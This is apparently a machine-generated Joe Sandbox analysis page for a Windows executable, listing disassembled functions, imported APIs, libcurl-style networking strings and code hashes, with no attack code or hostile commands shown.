Opcode Fuzzy Hash: a61e15c8e497079b5260048dad64b39a4f76ef6f24250cbc46f7a90162b348d6
Instruction Fuzzy Hash: D351A56192C6C2C2EA65FB2495113B9E261AB417A4FC40335DAAD0B6C2DF7CF4478B61

Function 00007FF747D8A645 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A688
memcpy.VCRUNTIME140 ref: 00007FF747D8A6AE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A77B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A7CF

Strings

TRUE, xrefs: 00007FF747D8A7D9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: TRUE
API String ID: 3401966785-3412697401
Opcode ID: 80d142b2cfaed612c7625e82799aa2ed6ff54757b648a70adbdf1b712a748d0f
Instruction ID: 959cb667a59f1fb7d06d97f0371977b0e5130be456203c541497f29556eb5eba
Opcode Fuzzy Hash: 80d142b2cfaed612c7625e82799aa2ed6ff54757b648a70adbdf1b712a748d0f
Instruction Fuzzy Hash: 6A415A61B2D652C5FB25B6158914375A762EF81BE0F854732CABE473C9CD6CD083D720

Function 00007FF747D8DEF0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 129stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,?,00000000,00000000,00000000,00007FF747D8DEB0), ref: 00007FF747D8DF5F

Part of subcall function 00007FF747D68210: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF747D4B23A,?,?,?,?,?,?,?,00007FF747D4B007), ref: 00007FF747D68221

Part of subcall function 00007FF747D68210: strchr.VCRUNTIME140(?,?,?,00000000,TRUE,?,00000000,00000000,00000000,?), ref: 00007FF747D683C3
Part of subcall function 00007FF747D68210: strchr.VCRUNTIME140(?,?,?,00000000,TRUE,?,00000000,00000000,00000000,?), ref: 00007FF747D683E0

strchr.VCRUNTIME140(?,?,?,?,?,?,00000000,00000000,00000000,00007FF747D8DEB0), ref: 00007FF747D8DFCE
strchr.VCRUNTIME140(?,?,?,?,?,?,00000000,00000000,00000000,00007FF747D8DEB0), ref: 00007FF747D8DFE8
strchr.VCRUNTIME140(?,?,?,?,?,?,00000000,00000000,00000000,00007FF747D8DEB0), ref: 00007FF747D8E01E

Strings

xn--, xrefs: 00007FF747D8E005

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_errno
String ID: xn--
API String ID: 2644425738-2826155999
Opcode ID: b46ea498338ad0604a2fe1f816cf16bc5d623c34d4297be9ae51f102c711e271
Instruction ID: 5ce16ca6eb6efd7724da913b9d08c903b7de05b9c30d0ce74d86975d22f170af
Opcode Fuzzy Hash: b46ea498338ad0604a2fe1f816cf16bc5d623c34d4297be9ae51f102c711e271
Instruction Fuzzy Hash: 68410651B2D686C5FB54BA329514379D6829F85BC0FC58230DE2E977C6EE2CE0038F20

Function 00007FF747D5BFE0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF747D5C088
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5C108
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5C1B2

Strings

CONNECT phase completed!, xrefs: 00007FF747D5C1F3
allocate connect buffer!, xrefs: 00007FF747D5C12F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: callocfreememset
String ID: CONNECT phase completed!$allocate connect buffer!
API String ID: 3505321882-591125384
Opcode ID: 78bf7f49cec57bb633d22496aba38610fa64e698063a4e1d5dfc42223fe7f2c4
Instruction ID: b1c1a4dc675f3f60f46bc90560cf2d9579bd2d43f79294a9bb9f4d78c3926df1
Opcode Fuzzy Hash: 78bf7f49cec57bb633d22496aba38610fa64e698063a4e1d5dfc42223fe7f2c4
Instruction Fuzzy Hash: F051A122B1CA82C3E758BB25D9443B9B3E0FB44B88F854135CB5C5B281DF79E56AC724

Function 00007FF747D8882E Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$Signature
API String ID: 2190258309-1663925961
Opcode ID: a198ade456d71fd290c192ef9094b732cc5983dbf1400fe6e936b787195600f5
Instruction ID: 43b859aac8cfd1420dd266a8832dfd6f3af91a180663fb46ad942b293649e228
Opcode Fuzzy Hash: a198ade456d71fd290c192ef9094b732cc5983dbf1400fe6e936b787195600f5
Instruction Fuzzy Hash: 66219166B1CAC1C6EB14AB25E4442A9A360FB44BD8F880632DE6D17799DF3CD142CB10

Function 00007FF747D728A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7296B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D72984
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D72998

Strings

Failure sending QUIT command: %s, xrefs: 00007FF747D728F3
QUIT, xrefs: 00007FF747D728CF

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1294909896-1162443993
Opcode ID: 4ca42619a1e31173df9d1b850f7224c4b4225d9bed481e7d5c2d2b67698de71c
Instruction ID: e631290fbabd8aaf0c63e5d8ac282b7c7131d1c27a1c135040ac1c91ebcc5285
Opcode Fuzzy Hash: 4ca42619a1e31173df9d1b850f7224c4b4225d9bed481e7d5c2d2b67698de71c
Instruction Fuzzy Hash: 7B314F31A6C782C1EB50FF26D5502B9A7A4FB85B84F884231DA9D0B755DF2CE452CB21

Function 00007FF747D694A0 Relevance: 7.6, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D55880), ref: 00007FF747D694D5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D55880), ref: 00007FF747D694EA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D55880), ref: 00007FF747D694FF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D55880), ref: 00007FF747D6952C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D55880), ref: 00007FF747D69535
memcpy.VCRUNTIME140(?,?,?,00007FF747D55880), ref: 00007FF747D69569

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc$memcpy
String ID:
API String ID: 3478730034-0
Opcode ID: 625087e8469335b8afc7a4f200c7716dbfac2a474bdbc393e31681353d0923a6
Instruction ID: be41607389177063828a98c327150263f55c53ea33386d58f4df444888decdb3
Opcode Fuzzy Hash: 625087e8469335b8afc7a4f200c7716dbfac2a474bdbc393e31681353d0923a6
Instruction Fuzzy Hash: C621B271A1CB82C6E710BF229410229B7A0FB48BD0F948338DA9E5B79CDF3CD4428B10

Function 00007FF747D78710 Relevance: 7.6, APIs: 5, Instructions: 62stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D78741
strchr.VCRUNTIME140 ref: 00007FF747D7876D
strchr.VCRUNTIME140 ref: 00007FF747D78784
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D787A3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupmalloc
String ID:
API String ID: 4236146995-0
Opcode ID: a40886b6908e31578bfd8f82542a965f67959f0adae9ad5dfc49a1b18558c2a1
Instruction ID: 9b905ad20bb889dae4e5b2fd5493c58c5d5a27b2d20ebd5c562d2687279ccb32
Opcode Fuzzy Hash: a40886b6908e31578bfd8f82542a965f67959f0adae9ad5dfc49a1b18558c2a1
Instruction Fuzzy Hash: E3215362B29B85C1EB85AB25905436863E1FF45B94F480234DE4D0B748EF29D491CB25

Function 00007FF747D885C8 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$Signature
API String ID: 2190258309-1663925961
Opcode ID: 5365f1df1ed3cea1c2c7de787eb6e300e9b64ce9320d70a5ed4b329ba6b3b17f
Instruction ID: 560f7eff829df3f591824f8916ad042bf0604ff0b9c59a22d383b18d62022058
Opcode Fuzzy Hash: 5365f1df1ed3cea1c2c7de787eb6e300e9b64ce9320d70a5ed4b329ba6b3b17f
Instruction Fuzzy Hash: 19216566A2CA82C6EB24FB55E4442BAA364FF45BC4F850531DE5D17759DF3CE042CB10

Function 00007FF747D88606 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D89110: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8915C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: malloc$free
String ID: Signature: %s$Signature
API String ID: 1480856625-1663925961
Opcode ID: 41b76b45187b604ba47561f7a3e753a50d17ac0b22649e8f1a55bbcb22655a30
Instruction ID: f891bde62139a5d5cbff14856fd7226564cb4abcf8b49c8fc64a016991995daf
Opcode Fuzzy Hash: 41b76b45187b604ba47561f7a3e753a50d17ac0b22649e8f1a55bbcb22655a30
Instruction Fuzzy Hash: 88215366A2CA82C6EB10FB65E4442EAA364FF85BC4F840532DE5D17759DF3CE146CB10

Function 00007FF747D885E0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D8AC20: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8AC55

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: malloc$free
String ID: Signature: %s$Signature
API String ID: 1480856625-1663925961
Opcode ID: db904f56e6270d6705b2c490b5aa27aa7852b63d4b065eb65d90f7fbd933b535
Instruction ID: d01d8c5979d237541248b86607e5921d91fb1abd7a2126402d81f88f26169580
Opcode Fuzzy Hash: db904f56e6270d6705b2c490b5aa27aa7852b63d4b065eb65d90f7fbd933b535
Instruction Fuzzy Hash: 76215366A2CA82C6EB10FB65E4442EAA364FF85BC4F840532DE5D17759DF3CE146CB10

Function 00007FF747D43550 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46stringCOMMON

Download Yara Rule

APIs

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D42E89), ref: 00007FF747D437EF

Strings

No data record of requested type, xrefs: 00007FF747D437D3
Host not found, try again, xrefs: 00007FF747D437E5
Unrecoverable error in call to nameserver, xrefs: 00007FF747D437DC
Host not found, xrefs: 00007FF747D437B8

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strncpy
String ID: Host not found$Host not found, try again$No data record of requested type$Unrecoverable error in call to nameserver
API String ID: 3301158039-3625861382
Opcode ID: 6380039508780b6add5a13c08d96a73198b9f942589f9f0a8f4d674408762aa1
Instruction ID: 90f5cb5d578ad9599754939ec95b6176e6a8e73f5b1b0079b1ddfc76c8e562ce
Opcode Fuzzy Hash: 6380039508780b6add5a13c08d96a73198b9f942589f9f0a8f4d674408762aa1
Instruction Fuzzy Hash: 1D110AA1F6C243D1EA18771CE5552789BA0EF06780FC84371C68E16694DD6CE8828F10

Function 00007FF747D4B510 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF747D4B9B3
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF747D4B9C7
CloseHandle.KERNEL32 ref: 00007FF747D4B9D4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF747D4B9F6
closesocket.WS2_32 ref: 00007FF747D4BA14
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF747D4BA2D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: CriticalSectionfree$CloseEnterHandleLeaveclosesocket
String ID:
API String ID: 469868127-0
Opcode ID: cdaac871417b2815011e1e24f7daa236251f8bef380f81fe0f9f7e20ce8ad1ed
Instruction ID: 5c3696e0dd0b8d3aa733bb5977b5b6074bf67aa001e1cdaa1925a01794049b5f
Opcode Fuzzy Hash: cdaac871417b2815011e1e24f7daa236251f8bef380f81fe0f9f7e20ce8ad1ed
Instruction Fuzzy Hash: E5113D7665CB41C6E620BF52E945229B370FF99B90F544231CF8E03B44CF39E4A68B20

Function 00007FF747D660A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00007FF747D663F2

Strings

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s, xrefs: 00007FF747D66385
** Resuming transfer from byte position %I64d, xrefs: 00007FF747D66128
%% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 00007FF747D6613B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: fflush
String ID: %3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$** Resuming transfer from byte position %I64d
API String ID: 497872470-664487449
Opcode ID: bd79883afe62d5623b510d7aa56eecf1353cfdfeba660c4b5f6e7e3670a9e63f
Instruction ID: e6819858e37f868b41d7f5ddcfdad8d404d7a466383d1fd144bdef912c314d19
Opcode Fuzzy Hash: bd79883afe62d5623b510d7aa56eecf1353cfdfeba660c4b5f6e7e3670a9e63f
Instruction Fuzzy Hash: 5B91C16271AB86C5DA60EB06E5447AAB368FB84BC0FC25132DE4D57B95EF3CD042CB40

Function 00007FF747D730C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 120networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D8AE10: memcpy.VCRUNTIME140 ref: 00007FF747D8AEB8
Part of subcall function 00007FF747D8AE10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8AEC9

WSAGetLastError.WS2_32 ref: 00007FF747D7322A

Strings

FTP response aborted due to select/poll error: %d, xrefs: 00007FF747D73238
FTP response timeout, xrefs: 00007FF747D73277
We got a 421 - timeout!, xrefs: 00007FF747D7324E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastfreememcpy
String ID: FTP response aborted due to select/poll error: %d$FTP response timeout$We got a 421 - timeout!
API String ID: 1248052217-2064316097
Opcode ID: e7f5d127d64b5043630bf7317d16c6b8a388210296d33f11f9d51393ab09aec5
Instruction ID: f42621069d31e638070f07ca1b41502e9fed0ddf06c182a948433f5e636fbd22
Opcode Fuzzy Hash: e7f5d127d64b5043630bf7317d16c6b8a388210296d33f11f9d51393ab09aec5
Instruction Fuzzy Hash: 2641932261D6C6C5EB60BF2598047B9A390BF49B94FC58231DE5D8B385EE3CD4478B20

Function 00007FF747D8A305 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A32B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A7CF

Strings

FALSE, xrefs: 00007FF747D8A320
TRUE, xrefs: 00007FF747D8A7D9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: FALSE$TRUE
API String ID: 1865132094-1412513891
Opcode ID: d19699eb54f18728884f9ffff41851f69321f2634b7708db4c0551ad8526aaa1
Instruction ID: 9dadf26eef1ead71e6468d8b48bca40bf1838763eabc84f76e9e704c49708d5e
Opcode Fuzzy Hash: d19699eb54f18728884f9ffff41851f69321f2634b7708db4c0551ad8526aaa1
Instruction Fuzzy Hash: FF41E4A2B2D356C4FF55BA659400378A7E1AF45794F864732CEAD063C8DE2FA4438E20

Function 00007FF747D7C350 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99networkCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF747D7C391
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF747D7C3D0
WSAGetLastError.WS2_32 ref: 00007FF747D7C428

Strings

TFTP response timeout, xrefs: 00007FF747D7C3EA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
